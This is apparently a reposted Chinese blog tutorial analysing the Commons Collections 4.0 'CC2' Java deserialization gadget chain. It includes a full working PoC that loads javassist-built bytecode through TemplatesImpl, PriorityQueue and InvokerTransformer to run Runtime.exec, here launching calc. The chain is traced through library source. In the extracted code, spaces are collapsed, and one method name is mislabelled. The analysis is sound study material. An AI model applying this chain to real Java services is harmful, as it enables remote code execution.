0


Java安全 CC链2分析

Java安全 CC链2分析

cc链2介绍

CC2链适用于Apache common collection 4.0版本,由于该版本对AnnotationInvocationHandler类readObject方法进行了修复,导致cc链1无法使用,故产生了cc链2,cc链2与cc链3相似,都使用了字节码的加载,并且后续的触发链也基本相同

前置知识

环境配置

有关环境配置请看

Java安全 CC链1分析

不同的是由于我们需要使用的版本为cc4,故需要设置pom.xml文件依赖内容如下

<dependencies><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.19.0-GA</version></dependency><dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency></dependencies>

类加载机制

可以看这篇文章

Java安全 CC链3分析

触发流程

ysoserial中给出的链

ObjectInputStream.readObject()
            PriorityQueue.readObject()
                PriorityQueue.heapify();
                    PriorityQueue.siftDown();
                           siftUpUsingComparator();
                            TransformingComparator.compare()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

cc链2POC

packageorg.example;importjavassist.ClassPool;importjavassist.CtClass;importorg.apache.commons.collections4.comparators.TransformingComparator;importorg.apache.commons.collections4.functors.InvokerTransformer;importjava.io.FileInputStream;importjava.io.FileOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.reflect.Field;importjava.util.PriorityQueue;publicclass cc2 {publicstaticvoidmain(String[] args)throwsException{StringAbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";StringTemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径CtClass payload=classPool.makeClass("cc2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));//设置父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");//创建一个空的类初始化,设置构造函数主体为runtimebyte[] bytes=payload.toBytecode();//转换为byte数组Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(newClass[]{}).newInstance();//反射创建TemplatesImplField field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,newbyte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为testInvokerTransformer transformer=newInvokerTransformer("newTransformer",newClass[]{},newObject[]{});TransformingComparator comparator =newTransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象PriorityQueue queue =newPriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
        queue.add(1);//添加数字1插入此优先级队列
        queue.add(1);//添加数字1插入此优先级队列Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
        field2.setAccessible(true);//暴力反射
        field2.set(queue,comparator);//设置queue的comparator字段值为comparatorField field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
        field3.setAccessible(true);//暴力反射
        field3.set(queue,newObject[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImplObjectOutputStream outputStream =newObjectOutputStream(newFileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();ObjectInputStream inputStream=newObjectInputStream(newFileInputStream("test.out"));
        inputStream.readObject();}}

cc链2分析

先看下

PriorityQueue类

中的

readObject方法

,代码如下

privatevoidreadObject(java.io.ObjectInputStream s)throwsjava.io.IOException,ClassNotFoundException{
        s.defaultReadObject();
        s.readInt();
        queue =newObject[size];for(int i =0; i < size; i++)
            queue[i]= s.readObject();heapify();}

这里我们发现,会先调用

defaultReadObject()方法

将序列化文件反序列化,然后调用

readInt()方法

获取优先队列的长度

然后执行

queue[i] = s.readObject()

,将优先队列的值赋值给

queue[i]数组

,queue[i]数组值是在调用writeObject方法序列化时定义的,

queue属性为私有的,我们可以通过反射将其赋值为携带有恶意字节码的

TemplatesImpl

对象,具体利用下面有讲

1710518725434.png

在对

queue[i]

循环赋值完成后会调用

heapify()方法

,我们跟进查看其代码

privatevoidheapify(){for(int i =(size >>>1)-1; i >=0; i--)siftDown(i,(E) queue[i]);}

我们看到代码

int i = (size >>> 1) - 1;

,此代码会将优先队列的长度右移1位(缩小两倍),然后减1,如果我们想让循环正常进行的话,优先队列的长度至少为2

然后我们看到循环中的

siftDown方法

,代码如下

privatevoidsiftDown(int k,E x){if(comparator !=null)siftDownUsingComparator(k, x);elsesiftDownComparable(k, x);}

这里

E x

则为刚才传入的

queue[i]

,我们跟进到

siftDownUsingComparator方法

,代码如下

privatevoidsiftUpUsingComparator(int k,E x){while(k >0){int parent =(k -1)>>>1;Object e = queue[parent];if(comparator.compare(x,(E) e)>=0)//由此进入break;
            queue[k]= e;
            k = parent;}
        queue[k]= x;}

这里会对

queue[i]

执行

comparator.compare

方法,我们看到

comparator属性

的定义如下

privatefinalComparator<?superE> comparator;

我们发现

comparator属性

为私有的,在poc当中通过反射把该属性的值设为了

TransformingComparator对象

,代码如下

InvokerTransformer transformer=newInvokerTransformer("newTransformer",newClass[]{},newObject[]{});TransformingComparator comparator =newTransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象

我们跟进到该对象的

compare方法

,代码如下

publicintcompare(finalI obj1,finalI obj2){finalO value1 =this.transformer.transform(obj1);finalO value2 =this.transformer.transform(obj2);returnthis.decorated.compare(value1, value2);}

这里调用了

InvokerTransformer对象

**(transformer属性)**的

transform方法

,我们跟进查看代码

publicOtransform(finalObject input){if(input ==null){returnnull;}try{finalClass<?> cls = input.getClass();finalMethod method = cls.getMethod(iMethodName, iParamTypes);return(O) method.invoke(input, iArgs);}catch(finalNoSuchMethodException ex){thrownewFunctorException("InvokerTransformer: The method '"+ iMethodName +"' on '"+
                                       input.getClass()+"' does not exist");}catch(finalIllegalAccessException ex){thrownewFunctorException("InvokerTransformer: The method '"+ iMethodName +"' on '"+
                                       input.getClass()+"' cannot be accessed");}catch(finalInvocationTargetException ex){thrownewFunctorException("InvokerTransformer: The method '"+ iMethodName +"' on '"+
                                       input.getClass()+"' threw an exception", ex);}}

这里的

input属性

仍为之前的

queue[i]

iMethodName属性

的值为我们创建对象时,通过构造方法穿进去的

"newTransformer"
method.invoke(input, iArgs);

这句代码会调用

queue[i]

newTransformer

方法

**poc中的

queue[0]

被赋值为

TemplatesImpl对象

**,定义如下

Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
        field3.setAccessible(true);//暴力反射
        field3.set(queue,newObject[]{templatesImpl,templatesImpl});//templatesImpl即为携带恶意静态代码的对象

下面流程基本和cc3相同了

我们跟进到

TemplatesImpl对象

newTransformer

方法,代码如下

publicsynchronizedTransformernewTransformer()throwsTransformerConfigurationException{TransformerImpl transformer;

        transformer =newTransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);//关键语句if(_uriResolver !=null){
            transformer.setURIResolver(_uriResolver);}if(_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)){
            transformer.setSecureProcessing(true);}return transformer;}

我们代码中标注的关键语句调用了

getTransletInstance()

方法,我们查看其代码如下

privateTransletgetTransletInstance()throwsTransformerConfigurationException{try{if(_name ==null)returnnull;if(_class ==null)defineTransletClasses();AbstractTranslet translet =(AbstractTranslet) _class[_transletIndex].newInstance();
……………………
        }

可以看到假如满足

if (_name != null)

if (_class == null)

的话会调用

defineTransletClasses()方法

,代码如下

privatestaticStringABSTRACT_TRANSLET="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";privatevoiddefineTransletClasses()throwsTransformerConfigurationException{if(_bytecodes ==null){ErrorMsg err =newErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);thrownewTransformerConfigurationException(err.toString());}
…………
            for(int i =0; i < classCount; i++){
                _class[i]= loader.defineClass(_bytecodes[i]);finalClass superClass = _class[i].getSuperclass();//注意if(superClass.getName().equals(ABSTRACT_TRANSLET)){
                    _transletIndex = i;}
…………
    }

这里会加载携带恶意静态代码的字节流类

_bytecodes

复制给数组

_class[i]

,然后回到

getTransletInstance()

方法

执行

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

这里会将刚才携带恶意代码的类进行初始化执行静态恶意代码,到此攻击完成

需要注意的是我们构造的这个字节流序列化对象要为

AbstractTranslet类

的子类

成功弹出计算器
1710518758561.png


本文转载自: https://blog.csdn.net/Elite__zhb/article/details/136752888
版权归原作者 Elitewa 所有, 如有侵权,请联系我们删除。

“Java安全 CC链2分析”的评论:

还没有评论